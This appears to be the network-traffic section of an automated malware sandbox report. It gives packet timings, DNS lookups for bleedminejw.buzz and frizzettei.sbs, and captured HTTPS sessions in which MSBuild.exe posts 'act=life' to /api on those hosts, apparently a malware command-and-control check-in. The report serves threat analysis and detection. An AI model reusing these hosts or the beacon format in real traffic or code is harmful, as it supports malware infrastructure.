Oct 7, 2024 06:46:07.368545055 CEST	49976	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.368571043 CEST	443	49976	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.368647099 CEST	49976	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.368855000 CEST	49976	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.368871927 CEST	443	49976	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.423850060 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.423901081 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.423963070 CEST	49972	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.423974037 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.424031973 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.424079895 CEST	49972	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.424127102 CEST	49972	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.424144983 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.424156904 CEST	49972	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.424163103 CEST	443	49972	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.426908016 CEST	49977	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.426930904 CEST	443	49977	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.427118063 CEST	49977	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.427248001 CEST	49977	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.427252054 CEST	443	49977	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.543040991 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.543823004 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.543860912 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.544534922 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.544550896 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.565406084 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.566052914 CEST	49974	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.566099882 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.566529989 CEST	49974	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.566545010 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.606748104 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.607414007 CEST	49975	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.607430935 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.608063936 CEST	49975	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.608071089 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.645188093 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.645260096 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.645307064 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.645373106 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.645448923 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.645488024 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.645512104 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.675126076 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.675185919 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.675256014 CEST	49974	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.675286055 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.675338984 CEST	49974	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.675371885 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.675432920 CEST	49974	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.675528049 CEST	49974	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.675565004 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.675590038 CEST	49974	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.675604105 CEST	443	49974	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.678730011 CEST	49978	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.678766012 CEST	443	49978	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.678864956 CEST	49978	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.679059982 CEST	49978	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.679064989 CEST	443	49978	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.707222939 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.707271099 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.707329035 CEST	49975	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.707345009 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.707431078 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.707484961 CEST	49975	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.707601070 CEST	49975	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.707621098 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.707634926 CEST	49975	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.707642078 CEST	443	49975	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.710361958 CEST	49979	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.710401058 CEST	443	49979	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.710483074 CEST	49979	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.710692883 CEST	49979	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.710709095 CEST	443	49979	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.730334997 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.730407953 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.730483055 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.730532885 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.730582952 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.730582952 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.730652094 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.730693102 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.730693102 CEST	49973	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.730720043 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.730742931 CEST	443	49973	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.733105898 CEST	49980	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.733133078 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:07.733426094 CEST	49980	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.733426094 CEST	49980	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:07.733453035 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.003351927 CEST	443	49976	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.004076004 CEST	49976	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.004106998 CEST	443	49976	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.004544973 CEST	49976	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.004560947 CEST	443	49976	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.075361967 CEST	443	49977	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.076071024 CEST	49977	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.076117992 CEST	443	49977	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.076734066 CEST	49977	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.076741934 CEST	443	49977	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.102049112 CEST	443	49976	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.102231026 CEST	443	49976	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.102332115 CEST	49976	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.102721930 CEST	49976	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.102745056 CEST	443	49976	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.102760077 CEST	49976	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.102766991 CEST	443	49976	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.106972933 CEST	49981	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.107028008 CEST	443	49981	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.107155085 CEST	49981	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.107426882 CEST	49981	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.107448101 CEST	443	49981	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.173830986 CEST	443	49977	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.173918962 CEST	443	49977	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.174072981 CEST	49977	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.222938061 CEST	49977	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.222980022 CEST	443	49977	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.222995996 CEST	49977	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.223004103 CEST	443	49977	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.226650953 CEST	49982	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.226720095 CEST	443	49982	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.226794004 CEST	49982	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.226949930 CEST	49982	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.226969004 CEST	443	49982	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.326200008 CEST	443	49978	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.329920053 CEST	49978	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.329956055 CEST	443	49978	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.337846041 CEST	49978	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.337857962 CEST	443	49978	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.373528957 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.378792048 CEST	49980	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.378792048 CEST	49980	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.378808022 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.378824949 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.386785984 CEST	443	49979	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.390623093 CEST	49979	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.390650988 CEST	443	49979	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.392761946 CEST	49979	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.392771006 CEST	443	49979	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.435305119 CEST	443	49978	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.435457945 CEST	443	49978	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.435559034 CEST	49978	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.439439058 CEST	49978	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.439462900 CEST	443	49978	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.439476013 CEST	49978	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.439483881 CEST	443	49978	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.455425024 CEST	49983	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.455485106 CEST	443	49983	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.455626965 CEST	49983	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.459316015 CEST	49983	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.459341049 CEST	443	49983	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.474355936 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.475317955 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.475409985 CEST	49980	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.475424051 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.475457907 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.475564003 CEST	49980	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.476835966 CEST	49980	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.476836920 CEST	49980	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.476851940 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.476860046 CEST	443	49980	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.493973970 CEST	443	49979	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.494077921 CEST	443	49979	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.494221926 CEST	49979	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.519925117 CEST	49979	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.519942999 CEST	443	49979	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.519979954 CEST	49979	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.519987106 CEST	443	49979	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.556118011 CEST	49984	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.556148052 CEST	443	49984	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.556219101 CEST	49984	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.556596041 CEST	49984	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.556611061 CEST	443	49984	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.740516901 CEST	443	49981	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.761425018 CEST	49981	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.761461973 CEST	443	49981	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.762666941 CEST	49981	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.762677908 CEST	443	49981	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.857995987 CEST	443	49981	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.858103037 CEST	443	49981	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.858159065 CEST	49981	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.887025118 CEST	443	49982	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.916169882 CEST	49981	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.916208982 CEST	443	49981	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.916227102 CEST	49981	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.916237116 CEST	443	49981	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.918190002 CEST	49982	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.918205976 CEST	443	49982	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:08.918668985 CEST	49982	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:08.918674946 CEST	443	49982	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.017537117 CEST	443	49982	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.017662048 CEST	443	49982	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.017736912 CEST	49982	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.017965078 CEST	49982	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.017990112 CEST	443	49982	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.018006086 CEST	49982	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.018013954 CEST	443	49982	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.101164103 CEST	443	49983	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.102562904 CEST	49983	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.102562904 CEST	49983	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.102581024 CEST	443	49983	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.102597952 CEST	443	49983	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.191232920 CEST	443	49984	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.195106983 CEST	49984	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.195135117 CEST	443	49984	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.195691109 CEST	49984	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.195698023 CEST	443	49984	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.200531960 CEST	443	49983	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.200619936 CEST	443	49983	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.200773954 CEST	49983	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.200879097 CEST	49983	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.200879097 CEST	49983	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.200897932 CEST	443	49983	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.200906992 CEST	443	49983	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.291084051 CEST	443	49984	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.291152954 CEST	443	49984	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.291249990 CEST	49984	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.291497946 CEST	49984	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.291517973 CEST	443	49984	13.107.246.45	192.168.2.8
Oct 7, 2024 06:46:09.291529894 CEST	49984	443	192.168.2.8	13.107.246.45
Oct 7, 2024 06:46:09.291534901 CEST	443	49984	13.107.246.45	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 06:44:11.469039917 CEST	55302	53	192.168.2.8	1.1.1.1
Oct 7, 2024 06:44:11.478955984 CEST	53	55302	1.1.1.1	192.168.2.8
Oct 7, 2024 06:44:12.648466110 CEST	51807	53	192.168.2.8	1.1.1.1
Oct 7, 2024 06:44:12.655685902 CEST	53	51807	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 06:44:11.469039917 CEST	192.168.2.8	1.1.1.1	0x4cd6	Standard query (0)	bleedminejw.buzz	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:12.648466110 CEST	192.168.2.8	1.1.1.1	0xf00f	Standard query (0)	frizzettei.sbs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 06:44:11.478955984 CEST	1.1.1.1	192.168.2.8	0x4cd6	No error (0)	bleedminejw.buzz		172.67.178.50	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:11.478955984 CEST	1.1.1.1	192.168.2.8	0x4cd6	No error (0)	bleedminejw.buzz		104.21.17.192	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:12.655685902 CEST	1.1.1.1	192.168.2.8	0xf00f	No error (0)	frizzettei.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:12.655685902 CEST	1.1.1.1	192.168.2.8	0xf00f	No error (0)	frizzettei.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:17.489455938 CEST	1.1.1.1	192.168.2.8	0x8d46	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:17.489455938 CEST	1.1.1.1	192.168.2.8	0x8d46	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:26.314517021 CEST	1.1.1.1	192.168.2.8	0x7d61	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 06:44:26.314517021 CEST	1.1.1.1	192.168.2.8	0x7d61	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:44:38.942115068 CEST	1.1.1.1	192.168.2.8	0x2581	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 06:44:38.942115068 CEST	1.1.1.1	192.168.2.8	0x2581	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:45:19.492320061 CEST	1.1.1.1	192.168.2.8	0x56d5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:45:19.492320061 CEST	1.1.1.1	192.168.2.8	0x56d5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 7, 2024 06:45:24.473804951 CEST	1.1.1.1	192.168.2.8	0xb550	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 06:45:24.473804951 CEST	1.1.1.1	192.168.2.8	0xb550	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bleedminejw.buzz

frizzettei.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	172.67.178.50	443	1548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 04:44:12 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bleedminejw.buzz
2024-10-07 04:44:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 04:44:12 UTC	795	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 04:44:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=keo5nvtujsgq4v10m9aetr9di8; expires=Thu, 30 Jan 2025 22:30:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kcf%2Bfna%2FqHUx%2BiLcfU4iCAJSzNuO74Yw1FIZzs1prdYk6zBgDLod5oydXqMVglH5TQRqUcEuDOd8IEKHpExglYFdduiY738jiJdy%2BK3Tt%2FqHKrQu7roacKadIjyj%2BTcyUHv7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ceb3c0f7fc15e7d-EWR
2024-10-07 04:44:12 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 04:44:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	188.114.96.3	443	1548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 04:44:13 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: frizzettei.sbs
2024-10-07 04:44:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 04:44:13 UTC	551	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 04:44:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LFrOU9GnnvFas2GS4Z7Nw3r29r7lMBzU2X%2BwihF%2BGmfdZsVzR%2BvrUi5pw6Cl8PSOScEzepvh0CzzFHyCfl827hsH7x6mFEHnVjnKGQcXog551lDPUhIYrEZTsQVCgCqQ%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ceb3c168860438e-EWR
2024-10-07 04:44:13 UTC	818	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-07 04:44:13 UTC	1369	IN	Data Raw: 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b Data Ascii: cf.errors.ie.css" 